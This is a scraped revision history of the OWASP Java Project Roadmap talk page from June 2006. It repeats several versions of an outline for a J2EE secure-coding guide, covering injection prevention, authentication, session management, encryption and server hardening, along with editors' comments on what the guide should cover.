To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app. So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific? --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Mapping Regulatory requirements to technical requirements===
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Design considerations===
This is quite general. Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:
* Architectural considerations
** EJB Middle tier
** Web Services Middle tier
** Spring Middle tier
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

===Frameworks you should be aware of (e.g. struts, stinger, etc.)===
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as:
* Acegi
* Commons validator
* jGuard
* Stinger seems to be parked for a while now, is this correct Jeff?
** Stinger is
** CVS HEAD is in a functional state; needs work on docs and new features - Roman
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

==J2EE Security for Developers==

===Java Security Basics===
* Class Loading
* Bytecode verifier
* The Security Manager and security.policy file
* jarsigner
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)

===Input Validation===
* Overview

==== SQL Injection====
* Overview
* Prevention
** White Listing
** Prepared Statements
** Stored Procedures
** Hibernate
** Ibatis
** Spring JDBC
** EJB 3.0?
** JDO?

====XSS====
* Overview
* Prevention
** White Listing
** Manual HTML Encoding
** Preventing XSS in popular Web Frameworks
*** JSP/JSTL
*** Struts
*** Spring MVC
*** Java Server Faces
*** WebWork?
*** Wicket?
*** Tapestry?
* <s>Misc I/P Validation Attacks (e.g. HTTP Response Splitting)</s> - Moved this out to a separate section below. --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)
* <s>Using struts</s> Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
* CSRF attack

==== LDAP Injection ====
* Overview
* Prevention

==== XPATH Injection ====
* Overview
* Prevention

==== Miscellaneous Injection Attacks ====
* HTTP Response splitting
* Command injection - Runtime.getRuntime().exec()

=== Authentication===
* Storing credentials
* Hashing
* SSL Best Practices
* CAPTCHA systems (jcaptcha?)
* Container-managed authentication with Realms
* JAAS Authentication

===Session Management===
* Logout
* Session Timeout
* Absolute Timeout
* Session Fixation

===Authorization===
* In presentation layer
* In business logic
* In data layer
* Declarative v/s Programmatic
* web.xml configuration
* [[Forced browsing]]
* JAAS
* EJB Authorization
* Acegi?
* JACC
* Check horizontal privilege

===Session Management===
* Session Fixation
* Terminating sessions
** Terminating sessions when the browser window is closed
* Implementing a session timeout

=== Encryption===
* JCE
* Storing db secrets
* Encrypting JDBC connections
* JSSE
* Random number generation

=== Error Handling & Logging===
* Output Validation
* Custom Errors
* Logging - why log? what to log? log4j, etc.
* Exception handling techniques
** fail-open/fail-closed
** resource cleanup
** finally block
** swallowing exceptions
* Exception handling frameworks
** Servlet spec - web.xml
** JSP errorPage

=== Web Services Security ===
* SAML
* WS-Security
* ...?

=== Code Analysis Tools ===
* FindBugs
** Creating custom rules
* PMD
** Creating custom rules
* JLint
* Jmetrics

== J2EE Security For Deployers ==

=== Securing Popular J2EE Servers ===
* Securing Tomcat
* Securing JBoss
* Securing WebLogic
* Securing WebSphere
* Securing x...
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.

=== Defining a Java Security Policy ===
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)
* jChains (www.jchains.org)

=== Protecting Binaries ===
* Bytecode obfuscation
* Convert bytecode to native machine code
* jarsigner

Talk:OWASP Java Project Roadmap

2006-06-13T04:00:23Z

Roman: /* Miscellaneous Injection Attacks */

==J2EE Security for Architects==

=== Risk Analysis===
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app. So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific? --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Mapping Regulatory requirements to technical requirements===
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Design considerations===
This is quite general. Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:
* Architectural considerations
** EJB Middle tier
** Web Services Middle tier
** Spring Middle tier
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

===Frameworks you should be aware of (e.g. struts, stinger, etc.)===
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as:
* Acegi
* Commons validator
* jGuard
* Stinger seems to be parked for a while now, is this correct Jeff?
** Stinger is
** CVS HEAD is in a functional state; needs work on docs and new features - Roman
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

==J2EE Security for Developers==

===Java Security Basics===
* Class Loading
* Bytecode verifier
* The Security Manager and security.policy file
* jarsigner
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)

===Input Validation===
* Overview

==== SQL Injection====
* Overview
* Prevention
** White Listing
** Prepared Statements
** Stored Procedures
** Hibernate
** Ibatis
** Spring JDBC
** EJB 3.0?
** JDO?

====XSS====
* Overview
* Prevention
** White Listing
** Manual HTML Encoding
** Preventing XSS in popular Web Frameworks
*** JSP/JSTL
*** Struts
*** Spring MVC
*** Java Server Faces
*** WebWork?
*** Wicket?
*** Tapestry?
* <s>Misc I/P Validation Attacks (e.g. HTTP Response Splitting)</s> - Moved this out to a separate section below. --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)
* <s>Using struts</s> Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
* CSRF attack

==== LDAP Injection ====
* Overview
* Prevention

==== XPATH Injection ====
* Overview
* Prevention

==== Miscellaneous Injection Attacks ====
* HTTP Response splitting
* Command injection - Runtime.getRuntime().exec()

=== Authentication===
* Storing credentials
* Hashing
* SSL Best Practices
* CAPTCHA systems (jcaptcha?)
* Container-managed authentication with Realms
* JAAS Authentication

===Session Management===
* Logout
* Session Timeout
* Absolute Timeout
* Session Fixation

===Authorization===
* In presentation layer
* In business logic
* In data layer
* Declarative v/s Programmatic
* web.xml configuration
* [[Forced browsing]]
* JAAS
* EJB Authorization
* Acegi?
* JACC
* Check horizontal privilege

===Session Management===
* Session Fixation
* Terminating sessions
** Terminating sessions when the browser window is closed
* Implementing a session timeout

=== Encryption===
* JCE
* Storing db secrets
* Encrypting JDBC connections
* JSSE
* Random number generation

=== Error Handling & Logging===
* Output Validation
* Custom Errors
* Logging - why log? what to log? log4j, etc.
* Exception handling techniques
** fail-open/fail-closed
** resource cleanup
** finally block
** swallowing exceptions
* Exception handling frameworks
** Servlet spec - web.xml
** JSP errorPage

=== Web Services Security ===
* SAML
* WS-Security
* ...?

=== Code Analysis Tools ===
* FindBugs
** Creating custom rules
* PMD
** Creating custom rules
* JLint
* Jmetrics

== J2EE Security For Deployers ==

=== Securing Popular J2EE Servers ===
* Securing Tomcat
* Securing JBoss
* Securing WebLogic
* Securing WebSphere
* Securing x...
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.

=== Defining a Java Security Policy ===
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)
* jChains (www.jchains.org)

Talk:OWASP Java Project Roadmap

2006-06-13T03:59:26Z

Roman: /* XSS */

==J2EE Security for Architects==

=== Risk Analysis===
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app. So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific? --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Mapping Regulatory requirements to technical requirements===
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Design considerations===
This is quite general. Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:
* Architectural considerations
** EJB Middle tier
** Web Services Middle tier
** Spring Middle tier
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

===Frameworks you should be aware of (e.g. struts, stinger, etc.)===
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as:
* Acegi
* Commons validator
* jGuard
* Stinger seems to be parked for a while now, is this correct Jeff?
** Stinger is
** CVS HEAD is in a functional state; needs work on docs and new features - Roman
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

==J2EE Security for Developers==

===Java Security Basics===
* Class Loading
* Bytecode verifier
* The Security Manager and security.policy file
* jarsigner
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)

===Input Validation===
* Overview

==== SQL Injection====
* Overview
* Prevention
** White Listing
** Prepared Statements
** Stored Procedures
** Hibernate
** Ibatis
** Spring JDBC
** EJB 3.0?
** JDO?

====XSS====
* Overview
* Prevention
** White Listing
** Manual HTML Encoding
** Preventing XSS in popular Web Frameworks
*** JSP/JSTL
*** Struts
*** Spring MVC
*** Java Server Faces
*** WebWork?
*** Wicket?
*** Tapestry?
* <s>Misc I/P Validation Attacks (e.g. HTTP Response Splitting)</s> - Moved this out to a separate section below. --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)
* <s>Using struts</s> Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
* CSRF attack

==== LDAP Injection ====
* Overview
* Prevention

==== XPATH Injection ====
* Overview
* Prevention

==== Miscellaneous Injection Attacks ====
* HTTP Response splitting

=== Authentication===
* Storing credentials
* Hashing
* SSL Best Practices
* CAPTCHA systems (jcaptcha?)
* Container-managed authentication with Realms
* JAAS Authentication

===Session Management===
* Logout
* Session Timeout
* Absolute Timeout
* Session Fixation

===Authorization===
* In presentation layer
* In business logic
* In data layer
* Declarative v/s Programmatic
* web.xml configuration
* [[Forced browsing]]
* JAAS
* EJB Authorization
* Acegi?
* JACC
* Check horizontal privilege

===Session Management===
* Session Fixation
* Terminating sessions
** Terminating sessions when the browser window is closed
* Implementing a session timeout

=== Encryption===
* JCE
* Storing db secrets
* Encrypting JDBC connections
* JSSE
* Random number generation

=== Error Handling & Logging===
* Output Validation
* Custom Errors
* Logging - why log? what to log? log4j, etc.
* Exception handling techniques
** fail-open/fail-closed
** resource cleanup
** finally block
** swallowing exceptions
* Exception handling frameworks
** Servlet spec - web.xml
** JSP errorPage

=== Web Services Security ===
* SAML
* WS-Security
* ...?

=== Code Analysis Tools ===
* FindBugs
** Creating custom rules
* PMD
** Creating custom rules
* JLint
* Jmetrics

== J2EE Security For Deployers ==

=== Securing Popular J2EE Servers ===
* Securing Tomcat
* Securing JBoss
* Securing WebLogic
* Securing WebSphere
* Securing x...
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.

=== Defining a Java Security Policy ===
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)
* jChains (www.jchains.org)

Talk:OWASP Java Project Roadmap

2006-06-13T03:56:26Z

Roman: /* Authorization */

==J2EE Security for Architects==

=== Risk Analysis===
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app. So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific? --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Mapping Regulatory requirements to technical requirements===
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Design considerations===
This is quite general. Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:
* Architectural considerations
** EJB Middle tier
** Web Services Middle tier
** Spring Middle tier
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

===Frameworks you should be aware of (e.g. struts, stinger, etc.)===
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as:
* Acegi
* Commons validator
* jGuard
* Stinger seems to be parked for a while now, is this correct Jeff?
** Stinger is
** CVS HEAD is in a functional state; needs work on docs and new features - Roman
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

==J2EE Security for Developers==

===Java Security Basics===
* Class Loading
* Bytecode verifier
* The Security Manager and security.policy file
* jarsigner
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)

===Input Validation===
* Overview

==== SQL Injection====
* Overview
* Prevention
** White Listing
** Prepared Statements
** Stored Procedures
** Hibernate
** Ibatis
** Spring JDBC
** EJB 3.0?
** JDO?

====XSS====
* Overview
* Prevention
** White Listing
** Manual HTML Encoding
** Preventing XSS in popular Web Frameworks
*** JSP
*** Struts
*** Spring MVC
*** Java Server Faces
*** WebWork?
*** Wicket?
*** Tapestry?
* <s>Misc I/P Validation Attacks (e.g. HTTP Response Splitting)</s> - Moved this out to a separate section below. --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)
* <s>Using struts</s> Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

==== LDAP Injection ====
* Overview
* Prevention

==== XPATH Injection ====
* Overview
* Prevention

==== Miscellaneous Injection Attacks ====
* HTTP Response splitting

=== Authentication===
* Storing credentials
* Hashing
* SSL Best Practices
* CAPTCHA systems (jcaptcha?)
* Container-managed authentication with Realms
* JAAS Authentication

===Session Management===
* Logout
* Session Timeout
* Absolute Timeout
* Session Fixation

===Authorization===
* In presentation layer
* In business logic
* In data layer
* Declarative v/s Programmatic
* web.xml configuration
* [[Forced browsing]]
* JAAS
* EJB Authorization
* Acegi?
* JACC
* Check horizontal privilege

===Session Management===
* Session Fixation
* Terminating sessions
** Terminating sessions when the browser window is closed
* Implementing a session timeout

=== Encryption===
* JCE
* Storing db secrets
* Encrypting JDBC connections
* JSSE
* Random number generation

=== Error Handling & Logging===
* Output Validation
* Custom Errors
* Logging - why log? what to log? log4j, etc.
* Exception handling techniques
** fail-open/fail-closed
** resource cleanup
** finally block
** swallowing exceptions
* Exception handling frameworks
** Servlet spec - web.xml
** JSP errorPage

=== Web Services Security ===
* SAML
* WS-Security
* ...?

=== Code Analysis Tools ===
* FindBugs
** Creating custom rules
* PMD
** Creating custom rules
* JLint
* Jmetrics

== J2EE Security For Deployers ==

=== Securing Popular J2EE Servers ===
* Securing Tomcat
* Securing JBoss
* Securing WebLogic
* Securing WebSphere
* Securing x...
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.

=== Defining a Java Security Policy ===
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)
* jChains (www.jchains.org)